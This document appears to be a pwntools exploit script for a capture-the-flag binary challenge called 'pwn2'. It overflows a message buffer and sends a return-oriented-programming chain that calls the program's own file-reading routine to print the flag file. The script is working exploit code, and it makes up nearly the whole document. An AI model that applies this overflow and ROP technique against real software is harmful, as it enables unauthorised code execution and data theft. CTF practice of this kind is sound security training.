```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 79gq4l5zpv1aogjgw6yhhymi4.ctf.p0wnhub.com --port 21337 pwn2from pwn import *
# Set up pwntools for the correct architectureexe = context.binary = ELF('pwn2')
# Many built-in settings can be controlled on the command-line and show up# in "args".  For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or '79gq4l5zpv1aogjgw6yhhymi4.ctf.p0wnhub.com'port = int(args.PORT or 21337)
def local(argv=[], *a, **kw):    '''Execute the target binary locally'''    if args.GDB:        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)    else:        return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw):    '''Connect to the process on the remote host'''    io = connect(host, port)    if args.GDB:        gdb.attach(io, gdbscript=gdbscript)    return io
def start(argv=[], *a, **kw):    '''Start the exploit against the target.'''    if args.LOCAL:        return local(argv, *a, **kw)    else:        return remote(argv, *a, **kw)
# Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''tbreak smsg
b *0x00000000004012D7continue'''.format(**locals())
#===========================================================#                    EXPLOIT GOES HERE#===========================================================# Arch:     amd64-64-little# RELRO:    Partial RELRO# Stack:    No canary found# NX:       NX enabled# PIE:      No PIE (0x400000)
def smsg(io, s):    io.recvuntil(">")    io.send("smsg")    for _ in range(0x57):        io.recvuntil("->")        io.sendline("*")        io.recvuntil("Send?(Y/N)")        io.sendline("N")    io.recvuntil("->")    io.sendline(s)    io.recvuntil("Send?(Y/N)")    io.sendline("Y")    io.recvline()
def auth(io):    io.recvuntil(">")    io.send("auth")    io.recvuntil("Enter username: ")    io.sendline(".flag")
pop_rsi_pop_r15_ret = 0x0000000000401559pop_rdi_ret = 0x000000000040155bpop_rbp_ret = 0x0000000000401179read_file = 0x00000000004012F3flag_file = 0x0000000000404080
payload = flat([    pop_rsi_pop_r15_ret,    0,    0,     pop_rdi_ret,    flag_file,     pop_rbp_ret,    0x404200,     read_file,])
io = start()
auth(io)smsg(io, payload)
flag = io.recv()log.success(flag.decode())```